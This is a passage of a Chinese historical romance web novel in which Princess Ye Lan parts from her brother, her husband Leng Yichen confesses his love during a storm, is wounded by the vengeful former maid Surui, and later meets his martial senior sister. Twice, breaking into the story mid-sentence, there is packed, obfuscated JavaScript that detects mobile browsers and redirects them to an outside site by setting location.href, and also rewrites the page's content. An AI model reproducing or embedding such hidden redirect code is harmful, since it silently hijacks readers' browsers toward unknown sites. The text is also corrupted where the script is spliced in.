叶岚真心真意的点点头:“嗯……多谢你。”她很感激冷逸尘,他为她总是事事想的周全,做的周到。 “怎么谢我?上次说谢还没谢呢。”冷逸尘向前凑凑,开玩笑的说道。 “你说,我什么都答应。”叶岚痛快答应,她觉得她对他有很多亏欠。 ”借我这床休息一会,可好?自到这里之后便没睡过一个成宿的觉。” 叶岚一愣:如此简单?她马上又想到,也的确是这样。她渐渐把他的照顾当做习惯,可她依旧没有关心过他。 她挪到里面,将地方让出来。冷逸尘躺下,不多时便入梦了,可见是真的累了。 叶岚在他身侧躺下,看着他,又想到了那句:珍惜眼前人。 次日,使团一行人带着秦羽的棺椁启程。冷逸尘带护卫相送。 出发前叶岚重新给夏萱写了一封信,告诉她一切安好,请夏萱安顿照拂云琴。 为防止再出危险,他们临时改路到淄川。淄川到卢峰渡的距离与新城到卢峰渡的距离差不多。 但淄川是个小地方,无甚来往行人。淄川的驿馆很小,来了这么些人勉勉强强能挤得下。 第二日又行路半日,终于到了洛河卢峰渡。对岸就是梁国。 渡口畔,车委迟于山侧,舟凝滞于水滨。 叶岚望着缥缥缈缈的对岸,那就是她的故土。从前离开时万般不舍,如今再看,却再没有之前种种心境。 江源已等在渡口,半年多未见,似乎已是沧海桑田。江源也不知从何说起,只道了声“公主。” 叶岚亦只回了声“江兄。”二人相视一笑,再无他言。 自叶皓对叶岚严词之后,叶岚便一直想着和叶皓道个歉,一来是她的确认识道错了;二来也是让叶皓以后能放心些。 她鼓起勇气对叶皓说:“哥哥,对不起,那日的事我知错了。” 叶皓会心一笑:“傻丫头,我怎会怪你。不过是担心你的安危。以后遇事多思量,不要让人担心。” 叶皓看着众人抬着棺椁上船,忽然对叶岚说道:“暖暖,可想随我回去?” 叶岚听了一愣:这怎么可以! 冷逸尘听了一惊,紧张的上前一步,用不可思议的眼神看着二人。 但他随即想到了叶岚见到亲人时高兴的样子,说道:“若你想回去……这是个机会……其他的事我来安排……”冷逸尘此时已心痛到无法呼吸。 叶岚摇了摇头,对叶皓说道:“我若走了,只怕之前联姻一事前功尽弃,我不愿两国再起冲突。” 叶皓满意的拍了拍叶岚的胳膊:“好,你能这样想,我也放心了。” 冷逸尘知是叶皓试探叶岚后,顿觉松了口气。 叶岚找到江源:“江兄,此次云琴随你们回去,路上就拜托你了。”说罢从怀里掏出之前写的信,说道:“我给成王妃写了封信,请你帮我转交。” 此事,她本想交于叶皓处理,可只怕他自身之事繁琐,眼下可托付之人只有江源了。 “定不负公主所托。”江源行了一礼后双手接过书信,放于怀中。 分别终有时。待所有人上船后便要启程了。叶皓最后对叶岚说:“我们走了。”又对冷逸尘说道:“保重。” 三人行礼拜别。 船已走远,叶岚在渡口站了许久。风吹乱耳边的碎发,飞舞起衣裙的飘带。 直至看不见船踪迹,冷逸尘才上前说了声“走吧”。叶岚跟他上了车,二人并坐,叶岚神情落寞。 冷逸尘此时竟有一种失而复得的喜悦与感激。他安慰叶岚:“别难过了,以后还有见面的机会。” 叶岚微笑点头,笑中难掩苦涩。冷逸尘试探着将她揽入怀中,叶岚没有拒绝,将头靠在他的肩上。她再也忍不住,在他怀中小声啜泣起来。 这是他第一次真正意义上的拥抱她,他小心翼翼,心中既欢喜又难过。 21. 风雨问君心 回程改路新城。到新城驿时,已是日暮。 叶岚身体尚未痊愈,今日一番颠簸,疲惫不堪。 六月的天,小孩儿的脸一般。还未等叶岚睡熟,窗外天色骤变,狂风怒号,眼见暴雨将至。 驿站窗户年久失修,已然松动,被风吹的吱呀作响。忽而,一阵疾风,将窗户吹开,发出巨响。 叶岚惊的坐起来,一身冷汗。此刻,门也被人推开,进来一人。 “是谁?”叶岚双手紧紧抓着被角,惊恐的问道。 那人快步走到叶岚面前,借着闪电的一霎冷光,叶岚看清了冷逸尘的脸,瞬间松了口气。 “别怕,是我。”冷逸尘说着将她头上的冷汗擦掉。 风裹挟着雨水穿过树枝树叶从窗口灌入,瞬间一股风雨泥土的气息浸染全屋。 冷逸尘转身,叶岚双手抓住他的胳膊,惊慌的说道:“别走,我害怕。” 冷逸尘反握住她的双手放在被子上,柔声道:“我不走,我去关窗户。”说完转身先将桌上的油灯点燃,屋里亮起来,黑夜被逼到墙角。 继而去关窗户,发现窗户并不能关牢。于是拔剑,在临近的架子砍下一片楔形木头,塞到了窗户缝里,窗户便牢牢紧闭,不再作响。 冷逸尘回来坐于床边,拉过叶岚的手:“我陪着你。” 叶岚点点头,但是她心里还是不安。云琴归去,此后就是她孤身一人。离别的愁绪在此刻涌上心头,她忍不住抽泣起来。 冷逸尘将她揽进怀中,轻轻擦掉她的眼泪,问道:“是在想师兄吗?” “还有云琴。” “别怕,我一直都在……还记得我们第一次见面吗?”冷逸尘找了个话题转移叶岚的注意力。 “是在公主府?我只见到了你的背影。” “不,是大婚之夜,你我第一次相见。你看起来很紧张,对我也很……抗拒。” “我抗拒的不是你,我那时只恨命运不公……你呢?是怎么看我的?” “定亲之前,我对你来说或许是虚无缥缈的人。而我知道你,知道你是师兄的妹妹,所以我可以接受。” “可你同我不一样,接受与不接受又能如何呢?你们男子,左不过是娶个女子回来。以后三妻四妾,喜欢都可以娶来。而我,一个女子,嫁过来便要永远禁锢在这里。”说完鼻子一酸,又是几滴泪下。 “你就是这样看我的吗?就认为我不会一心待你?就认定我会纳妾?”冷逸尘心中一紧,揽着叶岚的手又不由加了些力道。 叶岚说道纳妾,不由心痛,动了一下想挣脱他,惆怅的说道:“以后的事,谁说的好呢?” 冷逸尘将她扶起,面对着她,叫了声“叶岚”。 他很少当面叫她的名字,与人说都是“王妃”或“公主”,或者一个“她”字。这一句“叶岚”,郑重如斯,叶岚忽觉得这三世十方都惊动起来。 这是他第二次如此直呼她的姓名,若说第一次是醉酒不算的话,那此次便是第一次。 “我既娶你,断不会再纳别人,也不会与别的女子有任何瓜葛。订婚之后,因着师兄的缘故,我曾感慨缘分如此之妙。人生百年、众生千万,只有这个男子便是我,只有这个女子是你,所谓夫妻姻缘,竟是不可以选择的。大婚之后,我敬你、重你,后来便是……爱你。我对你的心,你当真感受不到吗?” 冷逸尘双手扶着叶岚的双肩,直视她,似乎迫切需要一个答案。又是一个闪电照亮了他的脸,叶岚看见他炙热而又坚毅的眼神。 继而一个响雷在半空中炸开。吓得叶岚一激灵,紧紧闭上双眼,紧接着她又被冷逸尘揽进了怀里。 叶岚不知要将他如何是好,只回答:“我都能感受得到。是我的原因,是我不敢接受。我不相信这强加给我的一切,能有多美好,也不奢望能有幸福。” “那么现在呢?你心里可有我?你可……爱我?” “我……”叶岚欲言又止,她不知如何回答,她现在心里的确有他。可若说爱,叶岚也不知道自己算不算爱他,她不知如何才算是爱他。 如果说,做到他对她那样关心备至算是爱的话,那她还不算是爱他。于是只说道:“我心里是有你的。” 冷逸尘轻叹一口气,显然是对这个答案不满意。但是他心里笃定,语气不容置疑:“我们已是夫妻,此生都会在一起。” 外面的风依旧在呼啸,时不时传来树枝折断的声音,倾盆大雨一阵又一阵的拍在屋顶上,格外嘈杂。 叶岚未语,她于冷逸尘怀中,听着他的心跳声。窗外疾风雷雨的狂吼声,竟被这心跳声压了下去,她此时觉得周围很安静,几日漂泊的心也安定下来。 冷逸尘不再逼迫她回答。将叶岚安置好,自己躺在了她的身边,说道:“睡吧。” 叶岚点点头,看着他的失落,心中有些愧疚。也不知外面风雨是几时停的、也不知自己是几时睡着的。 第二日,叶岚睁眼时,发现冷逸尘已经醒来,正靠在床上看着她。想到二人昨夜共处一室,同榻而眠,虽未有什么,但还是香靥凝羞。 冷逸尘从未见她如此过,心生欢喜。低头于她眉间轻吻了一下,继而起身出去着人准备早饭。 叶岚摸着额头回忆着昨夜冷逸尘的话,那算是表白吗?不是表白,还能是什么?她用双手捶捶自己的头:怎么每逢遇到大事都是这般糊里糊涂。 泽生见冷逸尘从叶岚房中出来,下巴都快惊掉了,急急跟上前去打探情况。冷逸尘一言不发,给了他个眼神让他自己体会。 泽生见问不出什么,便汇报今日情况:“今早驿丞来报,昨夜大风,树木多有倾倒折断,道路受阻,且又泥泞。最快下午才能启程。” “那就明日再启程,大家这几日也都辛苦了,今日休息一天,你去给大家安排吧。” “泽生替兄弟们谢过殿下。” 早饭已送到叶岚房中,冷逸尘与她一起用了。 饭罢,冷逸尘说道:“今日道路不通,我们在此休息一日。” 叶岚只觉浑身粘腻,说道:“也好。可否遣人进城为我买身衣服?出来的匆忙,只带了一身换洗的衣服。那一身沾了血,不能穿了。这一身也脏了。” “这个好说,马车里有一身衣服,你先换上。” “你的衣服我穿着太大了。” “不是我的,是为你准备的。这新城太小了,货商很少,恐怕很难买到心仪的。” 叶岚有些惊讶:“还为我准备了衣服……” “我之前出去,常有临时不归之时,所以马车中备的东西全些。上次你淋雨后,我就又填了些你的衣物。” 饭后,冷逸尘亲自去马车中拿衣物,又命人烧了热水送至叶岚房中。现在一行人只有叶岚一个女子,驿馆中并无侍女。诸事多有不便,冷逸尘只得亲力亲为。 泽生不免替他家殿下委屈,好歹也是一国皇子,何曾如此卑微过,可见娶亲也不是什么好事。 叶岚洗漱沐浴完毕,顿觉神清气爽。冷逸尘准备的一袭红衣正和她的尺寸。衣服布料、刺绣纹饰都十分考究,一看就是花了不少心思。 冷逸尘进来时,叶岚正在梳头。冷他只觉红光夺目,眼前一亮。叶岚回头浅笑,冷逸尘便惊住了,控制不住自己的脚步走近她,立于她身后看着镜中的她。只见她粉黛未施、发犹滴水,犹如海棠半含朝雨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冷逸尘对她点点头:“你如今不是千里万里吗?不要再把自己关起来了,山河这么高远,我们一起去看看,一起去守护。”他转身,双手揽住叶岚的腰身,眼中满是笑意:“昨日雨斜风骤,今日云霞万里,明日一定是个好天气。” “放开,泽生还在后面。”叶岚欲挣脱他。 冷逸尘倒是很从容:“他知道不该看的不看。再说,他什么没见过?” 叶岚看向泽生,只见他果然远远的背对着他们。叶岚又开玩笑,问道:“那他也见过你与女子这般?还是他不敢看?” “我只与你这一个女子有过如此这般,他哪有机会看?” “油嘴滑舌。亏得我四哥还说你是个稳重的人。全然看错了你。” 冷逸尘将她揽紧一些,说道:“我只与你这般。你已经欠我两次谢了,是不是该还了?” “我身无长物,不知道要怎样还……” 冷逸尘低头,在她耳边轻语:“还一个洞房花烛夜就好。” 叶岚心中悸动,一阵羞涩,轻捶了他一下:“那还是欠着吧。” “那岂不是越欠越多?该怎么办?” 叶岚想起昨夜他的问题,觉得应该解释一下,便说道:“昨夜我只回答:我心中有你。可若非说爱你,我觉得我做的还不够,所以我不敢说。” “我不需要你为我做什么,你心中有我便足够了。以前我总觉得男儿应志在四方,可如今我只想与你朝朝暮暮,此生此世,来生来世,永不分离。” 叶岚未答,喜悦的心底还是有些惶惶:这承诺太重了! 冷逸尘俯身欲吻叶岚,叶岚却转头贴在他的胸前躲过了他的唇。冷逸尘知她羞涩,也不强求,转而吻了她的头发。 归时,冷逸尘却未看见泽生。 22. 波涌浪复起 冷逸尘未看见泽生也未在意,以为他是不便明目张胆的看,躲了起来。 泽生思量着今日之所见有些蹊跷。上午出门时,在驿馆附近看见一个女子,衣衫虽破旧但是却整洁。 说是乞丐吧,也不似乞丐那般狼狈;说是流民吧,可单单只有她一人。 再说新城并不富庶,不是流民投奔的好地方。更蹊跷的是大热天的她却一直围着头巾,遮掩容貌。 方才从驿馆出来时,他的余光又瞥到了那女子转入墙角的背影。 这些日子他虽表面显得与平常无异,可却一直绷着一根弦。年后他家殿下两次遇刺,而后又叶皓遇刺,这周围不知道还隐藏着多少危险。 冷逸尘剑术虽好,可拳脚功夫却差强人意。如今只身在外,万一又来个团伙作案。只他二人,还要保护公主,只怕场面难以控制。 也许是太紧张的缘故,他看谁都觉得可疑。但宁可信其有不可信其无,他凝起十二分注意力盯着周围。 果然不多时,只听得离他不远处的树丛有响动,他立刻过去查看。搜寻一番,发现是一只受伤的喜鹊在树丛中挣扎。可喜鹊的翅膀是生生被折断的,又是如何飞到这里来的?他即刻恍然:调虎离山。 他转身返回,冷逸尘二人已不在原处。他沿来路往回寻去,只听得有人被打倒在地的声音和一声女子的惨叫。 待他赶到时,只见今天早的那女子倒在地上。冷逸尘捂着左肩,血从他手指缝隙处流出。叶岚站在他身后。 “殿下!”泽生边飞身向那女子过去,同时将剑抛给冷逸尘。冷逸尘接住护在身前。 泽生的剑搭于那女子脖颈处,逼的她不能起身,又用另一只手压住她的肩胛,使她跪倒在地。扯下头巾一看,竟然是素蕊。 “是你!可有同党?”泽生惊讶着逼问。 素蕊眼神愤恨,扭头不语。泽生用力捏住她的肩膀,素蕊疼的缩了一下身体,剑锋紧紧贴的住她脖子。素蕊摇摇头。 叶岚更是疑惑:她不是交给皇后处置了么?怎么会出现在这里?正当她思索间,冷逸尘说道:“本王已经给了你一条生路。为何要来行刺王妃?” “是你们害了我,我当然要来复仇。” “本王救下了你,你却全然不知感恩。” 素蕊冷笑一声:“感恩?我为何要感恩?殿下,你可知这世道艰难,对一女子来说更是不易。你是让我活下来了,但我自小入宫,身无一技之长,又无户籍,如何安身立命。” “世道虽艰难,但总会有办法活下去。” “可这世道远比殿下想的要艰难!我被人骗至烟花巷,为了逃出来,差点丢了性命。能走到这里,天知道我经历了什么。”素蕊说到悲惨的遭遇,疼痛到无法再说下去,恨意逐渐升起,眼神变得凶恶起来:“你可知我曾经对你满心倾慕,你却利用我,全然不念往昔的情分。想来我真是傻,北境冬日里那样冷,大营中帐里怎么会没有炭火……是你们故意让人将那文书传出去的。” “本王常年在外,与你并无交集,何来情分一说?当日之事若非你疏忽,事后又未汇报。怎会造成如此后果。” 泽生亦对她说道:“就是,我两次三番叮嘱过你,军纪严明,不要用后宫内宅那套乱来。” “对,还有你,泽生!时时处处都在误导我,让我以为殿下对我有意。你们每一个人都不是无辜的。你们有权利、有金钱,不用刀剑便可以杀人。每个人都是假仁假义,全都是恶人。我只不过想要一个安稳的生活,你们却人人都把我当棋子。还有你,高贵的王妃……你们每个人都在利用我。”素蕊恶狠狠的盯着叶岚。 冷逸尘不知其中缘由,侧头看看叶岚,不解她为何也卷入其中。 叶岚刚想开口,他便先说道:“你胡说,你所求的向来就是荣华富贵,否则怎么会甘心当颗棋子。我在王府中给过你机会,可你却不愿离开。既然当了棋子,不管这棋局谁输谁赢,你都要承担结果。” “总要有人为我的不幸付出代价。”素蕊已经近乎疯癫了。说完,将右手抬起向泽生挥去,泽生何等机敏,一把推开她。 只见她手上用布条绑着一片带血的瓷片,那瓷片经过打磨,十分锐利。泽生恐她再反击,一剑刺穿了她的心窝。素蕊瞪着怒目,口吐鲜血,带着不甘与怨恨向后倒去。 冷逸尘动了一下左臂,吃痛的向前一俯身。泽生急忙过来,让他坐下,扯下一角衣袍为他做了简单的包扎,请罪道:“是属下失职,中了她的计,没能及时赶来。请殿下责罚。” 冷逸尘倒是镇定,安排道:“今日之事,让人报给县衙,按拦路抢劫结案。我放走素蕊之事和受伤之事不得外传。” “属下明白。” “传书给韩平,让他派一路人马到景州与我们汇合。” “是,殿下。现在需赶紧回去,您这伤口需要处理。” 冷逸尘疼的倒吸一口凉气,借着泽生的力气站起来。见叶岚满脸担忧并自责的看着他。 他擦干净手上的血渍,拉起她的手说道:“没事,走吧,不要让别人看出来。” 两人牵手并肩而行,冷逸尘的疼痛不禁让他的手上用力。叶岚心疼的看看他,只见他隐忍且坚定的目光,直视前方。 到了驿馆,冷逸尘直奔叶岚的住处。本是为了低调行事,选了这偏僻的房间,此时正好避人耳目。 冷逸尘坐下,叶岚将他的左侧衣服慢慢脱下,左肩已染满血,半寸长的伤口触目惊心。叶岚只觉满目是血、满心是痛。 泽生说道:“劳烦公主去打些温水来为殿下擦洗。属下去马车中取药。” 叶岚点头,二人分头行动。 叶岚端水回来,用帕子为冷逸尘一点点清理着血迹。她动作很轻,生怕弄疼了他。 冷逸尘一头汗、叶岚亦是一头汗。待擦去血迹,叶岚看到伤口右下方有一块粉色疤痕,像是新愈合的伤口。 还没来得及询问,泽生便提着一个包裹和一个坛子进来。包里是衣服和药品,坛子里是烈酒。 “殿下忍着些。”泽生说罢,不给冷逸尘反应的时间,将酒倒在帕子上,毫不犹豫的覆在了伤口上面。 疼得冷逸尘咬紧后槽牙,头上青筋暴起,全身肌肉紧绷,却未吭一声,额头上又是一层汗。 看得叶岚心惊肉跳。 待上了药,用绷带包扎起来,三人都松了一口气。泽生为冷逸尘换上干净的里衣,将他安置在床上后,自去处理带血的衣服和那盆血水。 叶岚重新端来一盆温水,为冷逸尘擦了脸和手。此时冷逸尘面色苍白、有些虚弱。他反手握住她的手说:“今日吓坏了吧。” 叶岚摇摇头,说道:“没有,只是……担心你,让你为我受了伤……”说着便是鼻子一酸,眼睛发涩。 冷逸尘开玩笑:“你看,你又欠了我的。”见叶岚流泪,他又正色说:“以后不要这样说了,我没事……别哭……” 叶岚点点头,冷逸尘抬手抚去她眼角刚刚流出的泪。 “我有些困倦,先睡一会儿……你别走,陪着我……”话音未落,他便睡去。 叶岚摇了摇他,未醒,只得找泽生过来。 待泽生看了冷逸尘,探了鼻吸又搭了脉。说道:“公主放心,殿下没有大事,只是失血过多。这伤口虽深却未伤及筋骨,若今晚不发烧,便无碍了。公主且在此处看守殿下。属下还有些事要处理,不多时便回来。”说罢,便急着处理结案之事。 此时,新城县令严致已到,与驿丞正战战兢兢的等候崇宁王的问责。 泽生则换了身白色衣服来见他们。一众人不知他是什么身份,只见衣着不凡,料定是崇宁王殿下身边重臣,不敢怠慢。 泽生摇着扇子说道:“殿下途径此地,却被人拦路抢劫,那劫匪还欲行凶伤人,已被我就地正法。若事此事传出去,有什么后果、落个什么罪名,你们自己心里都清楚吧?” 众人诺诺称是。 “殿下有意为你们隐瞒,严县令就尽快将此案结了吧。还有,殿下不愿被人打扰,此事县令该知道怎么办吧!”说罢,用扇子敲敲严致的肩膀。 严致已浑身是汗,听闻此言有些不敢相信,未想到殿下会如此开恩。还是驿丞悄悄拉了他的衣袖,他才立即跪下谢恩。 严致未曾想到,新城这小地方竟有如此大人物降临。他不敢怠慢,暗中加派人手护卫。又恐夜长梦多,连夜将此事结案归档。 叶岚一直守着冷逸尘,时不时的便去摸摸他的额头,所幸体温正常。到了掌灯时分,见他睡的安稳,叶岚便出门透口气。正巧碰见泽生来送晚饭,她哪里有心情吃。 叶岚坐在台阶上,见泽生站在她旁边,一身白色衣衫,袖口衣摆皆是银线祥云纹饰。这还是她第一次见他穿着这样华丽的衣服。 叶岚说道:“泽生,坐下休息会吧。” 泽生也是忙碌一天,却不见有半点疲惫,行礼道:“属下站着便好。” “坐下吧,我没有那么多规矩。我有话问你。” 泽生坐到了低一级台阶的另一侧,说道:“公主请讲。” “他肩上还有一处新伤,是怎么回事?” “是箭伤,殿下第二次给公主写信的那日受的伤。” 叶岚想不起来是什么时候来,只记得好像是二月里。那信中只有简单的“一切安好”四个字。 随后泽生便将冷逸尘调走素蕊,素蕊泄露军机,冷逸尘又以身做饵引出奸细、歼灭刺客的事全部说给了叶岚听,其中还加上了自己的润色,让人听着有惊心动魄之感。 “属下曾劝殿下不要以身试险,可以找个替身。可殿下仁善,爱惜将士,不愿这样做。这半年来,殿下奔波不断,箭伤久久不愈。殿下为公主做了这么多,公主却视而不见,也不领情。您可知那段时间殿下心里有多苦。公主当真是无情……”泽生说完才发觉失言,忙跪下请罪:“属下失言,请公主责罚。” “是我的错……”叶岚很少看见泽生如此严肃,可见泽生早就对她不满了。 泽生适可而止:“属下去看看殿下。” 叶岚深吸一口气,心中十分愧疚,抬头西望,太白依旧。 屋内,泽生叫醒冷逸尘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073866|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道:“殿下,可好些?” “疼的厉害!” 泽生小声道:“公主没在屋里。上次拔箭时可比这疼,都没如此这般。” 冷逸尘无奈道:“我是真的很疼……” 泽生并不这样认为:“属下早说过苦肉计最管用。这次公主是真的伤心自责了。差不多可以了。” 这时,门开了,叶岚进来。泽生捏了一下冷逸尘左肩,疼得他哼了一声。 泽生急急地说道:“殿下、殿下……醒醒……” 冷逸尘皱着眉头,轻轻叹了口气。 叶岚闻声,果然心中又悬了起来。急忙来到床前,见冷逸尘额头上又是一层细密的汗珠。 泽生见状,悄悄离开了。 叶岚紧张的问:“怎么了,是不是很痛……” 冷逸尘摇摇头,说道:“放心,我没事。只是还需再上些药。”说罢想要坐起来。 叶岚将他扶起,解开衣服和绷带,清理伤口涂抹药粉,之后又轻轻的包扎好。她的头发不经意扫过冷逸尘脸颊和脖颈,让他不由的红了脸。 他稳了稳心神,想起来一些事情,问道:“素蕊为什么会说你也利用她,你对她做过什么?” 一提起素蕊,叶岚有些不悦,但未表露出来,神色平常的说道:“没什么,只是许了她侧妃之位。” “什么?你……”冷逸尘一激动,牵扯到了伤口,疼得他没办法继续说下去。 “我只是顺水推舟罢了。她是母后之人,又对殿下旧情未了,早晚都是殿下的侧妃。不如早日拉拢后关系,也可让我的日子好过一些。” “生气了?一口一个‘殿下’的。你可真是善变,在河边还试探我有没有其他女子,其实早已给我安排好侧妃了。你可愿意?你可问过我是否愿意?” “我不愿意又能怎样?你不愿意直接拒绝就是了。而且并非我善变,只是此一时,彼一时。那时,我也是为了自保。那药太苦了,不这样拉拢好她,便要一直喝下去。”叶岚想起那段日子,当真是煎熬,心中委屈至极,闭上眼睛,深呼了一口气。 冷逸尘听了,没有想到当时境况这么严重,后悔将她一人丢在京城。自责道:“是我不好,未能护你周全。” “你军务繁忙,怎可事事都靠你。内宅之中的这些小手段我还是应付的来的。” 冷逸尘坐正身体,很认真的看着她说道:“以后,我不会让你有如此忧心之事。” 叶岚恐他一动有牵扯伤口,忙说:“你快躺好,不可乱动。以前的事都过去了。” “我说到做到,相信我!”冷逸尘见她未回答,立即表明决心,让她能信自己。 叶岚为他整理着衣衫,回答:“你是我夫君,我自然相信你。” 此话一出,冷逸尘顿觉灵台一片澄明,周身轻松,伤口似乎也不那么疼了。她终于把他当成了“夫君”,他也终于等到了这声“夫君”。 之前,他疑虑她到底会不会爱上自己,他担忧她会离他而去。而这些疑虑、担忧,在此刻终于消散了。 “你叫我什么?”冷逸尘又确认一遍。 “夫君。等你痊愈了,我们一起去骑马,一起去看云霞灿灿、星光皎皎,可好?” 冷逸尘看着叶岚,她的眼中带着希冀,面庞在烛光的映照下越发显得柔和。他有些迷离的答了一声“好”,接着将头向叶岚探过去。 叶岚脸一红将头一转,按着他的右肩让他躺在床上,带着羞涩:“好好休息吧……明日可启程?” 冷逸尘回过神来,说道:“嗯,早日回去,免得夜长梦多。” “可你这伤,怎么办?”叶岚为他整理了一下衣服,担忧的问。 此时,敲门声响起,是泽生来送鸡汤。此时他已换上了原来的黑衣。 叶岚问:“你穿刚才那身衣服挺好看的,怎么又换了?” “殿下不允,怕属下盖过殿下的风头。”泽生一本正经的回答,说罢便告退了。 “泽生这玩世不恭的劲倒是有些像我四哥。”叶岚笑道。 “的确是。泽生出身苦了些,未见过父母的面,由姑母养大。后来入了羽林卫,被母后选中做了我的贴身侍卫,随我去了长右山,也负责监视我的起居。” 叶岚听了又是疑惑。 “不过,素蕊之事过后,母后就不再监视我了。也算给了他自由。” “所以他是母后的人?” “不。他是我的左膀右臂,他也是他自己。在长右山时,他不愿入长右山,便在山下居住。惹得他隔壁的李老汉女儿非他不嫁,他只得搬了家。从那时起,他便只穿黑衣。刚才那身衣服也是为了充门面时才穿的。” 叶岚喂冷逸尘喝了些汤,见夜色已深,便督促他睡下。之后,她也躺在床上,拉住他的手,这样,若晚上有情况能立刻知道了。 次日天还未亮,一行人再次启程。 待他们离开了新城地界,严致算是松了一口气,不求有功、但求无过。若崇宁王殿下真在他这里出什么事,自己全族难保。 一夜未睡的他整整补了一天的觉。 23. 何处不相逢 上了马车,冷逸尘在药箱中找到了一个瓶子,从中倒了两粒丸药服下。 叶岚看着瓶瓶罐罐问道:“这是什么药?” “八珍益气丸,补气血的。” “这马车怎么和百宝箱一样,什么都有?” “之前乘马车出门,必定是走远路,不知路上会遇到什么。有时未找到客栈,便会露宿,所以备的用品东西全些。” “带这么些药是因为之前的箭伤吗?” 冷逸尘收起药箱的手顿了一下,说道:“你都知道了。” 叶岚点点头:“之前在塘西村时,是不是还未痊愈。” “是……”马车颠簸了一下,冷逸尘下意识的捂住了左肩。 “那时负着伤,何苦要陪我去那么远的地方。还淋了雨。” 冷逸尘却郑重的回答:“我答应过你的事,一定会做到。” 叶岚听了,心中一动。 马车行的缓慢,早早出发,日落后才到景州城门。榆关大营派出的一堂人马已在城门外等候多时。 马车停下,泽生自去与领队之人交接。之后,马车由队伍护送入城。今夜依旧下榻景州府衙内。 车入城门,马蹄踏在石板路上发出哒哒的声音。已到晚饭时分,大众劳苦一日皆收了工。街边的食店、酒肆开始热闹起来。 冷逸尘掀开帷幕看着外面,好巧不巧,正见一家包子摊上坐着四个身着天青色衣衫的人。这个颜色,他再熟悉不过。其中一个女子一抬头,一个熟悉的侧脸映入他眼帘--荀婉婉。 冷逸尘看见天青色已是心中一动,看到荀婉婉更是心中一惊。叶岚见他神色有异,问他可是不舒服,他微笑着摇头。 待马车转了个弯后,他敲了敲车门。马车立刻停下,他在车门口吩咐了泽生几句。泽生骑马离去。 叶岚问他发生了何事,他没有隐瞒:“好像看到师姐了,我让泽生去打探。一会与你细说。” 一日奔波,叶岚全部精力都在冷逸尘身上,到了府衙内,松了一口气,疲惫感席卷而来。但她还是看顾着冷逸尘吃了饭喝了药后才去休息。很快她就睡着了,也没来得及问师姐的事。 叶岚睡下后冷逸尘走出房间,泽生已在外等候。 “怎么去了这么久。可看到了?是他们吗?” 泽生笑嘻嘻的回答:“属下早回来了,公主在您身边,还是不打扰的好。” 冷逸尘白了他一眼。 泽生继续说道:“是长右山的人,只打探到住在西城的石桥客栈。” “给我换身衣服,去见见她。” 泽生为冷逸尘换了身深色布衣。冷逸尘犹豫要不要告诉叶岚一声,可见她睡的安稳,便没有打扰。安排了侍卫防护后,与泽生乘车而去。 到了石桥客栈外,冷逸尘将一块翡翠玉牌交于泽生,让他交给荀婉婉。 这玉牌是长右山信物,上面刻着长右山弟子姓名。这玉牌也不是人人都有,只有入师门三年以上的亲传弟子才有此信物。 冷逸尘刚拿到玉佩,便被一纸“家母染恙”的书信召回了祁京。叶皓则没有玉佩。 荀婉婉见了玉佩,一阵惊喜,二话不说便随泽生来找冷逸尘。 冷逸尘回首转身,行长右山之礼,叫了声“师姐”。 荀婉婉难掩兴奋,回礼道了声:“凌师弟。” 荀婉婉只比冷逸尘大一个月,虽然她常常以师姐自居,但是冷逸尘却将她当成妹妹般照拂。 冷逸尘看着眼前的荀婉婉,已出落成一个大姑娘。不似之前那般天真,取而代之的是成熟与稳重。 “凌师弟,真没想到会在这里遇见你。已经好久没有有你的消息了。” “你们怎么会在这里?” “下个月便是五年一次的剑宗大比,今年在崇阳宗。我等此去便是参加大比的。” “师伯可来了?”冷逸尘说的师伯,便是荀婉婉的伯父兼师傅--荀正阳。 “没有,师傅从不在乎这些俗名。此次我带领一众师弟出来,一则让他们见见世面,二则也是为了看看如今各大剑宗的情况。你呢?怎么在这里?” “我在祁国……投了军,现在在燕北剿匪,前几日与夫人送师兄回梁国。” 这一句话便让荀婉婉有不少疑问,问道:“哪个师兄?师弟你已经成亲了?” “叶皓、叶师兄。我与师兄之妹于年前成婚,此番前便是送师兄归家。”冷逸尘以实情相告。 荀婉婉一听是叶皓,心中再生一丝波澜,不过很快就平复下来,笑道:“已多年未与师兄联系了,师兄他还好吗?听闻他是梁国世家公子,没想到你二人竟还有如此缘分。” 冷逸尘未深说,只回答:“一切都好……” 荀婉婉再次感叹:“真是缘分,你们两家竟然结了亲。” “师兄他还是孑然一身。” 荀婉婉听出了冷逸尘的弦外之音:“师弟……我知道你想说什么,不可能了。爹爹故去后,座下弟子无一人可撑起师门,好多事务都是由我打理。你也知道掌门师傅,向来不喜操心这些琐事。过去年纪小,什么也不懂,只有满腔的天真与希望。而如今,不可能了。” 冷逸尘听她如此平静的道明了原因,便知她真的是放下了,于是默然点头。 荀婉婉没有多少伤感,诚恳的说道:“什么时候,回山上看看吧。” “师傅故去后,我便想回去祭拜师傅。可那时我于战中负伤,未能前去。等此番军务结束,我再去祭拜。不过,师傅生前就不喜与朝野之人有来往,我和师兄却都纷纷入世,违背师傅的意愿,只恐惹怒了师傅的在天之灵。” “你们二人都是爹爹最看重的弟子。爹爹说过,叶师兄天资过人,若好好磨琢,必成大器,可惜他未能留在长右山。又说你勤奋好学、沉稳持重,可接他衣钵,可惜也未能留下来。” 冷逸尘听了心中自责:“是我们辜负的师傅。” “师弟也不必自责,都是过去的事了。再说,人各有志,爹爹虽然看重你们,对你们抱有希望,但他也说过尊重你们,希望你们去过自己想要的生活。” “师傅真的这样说过?” 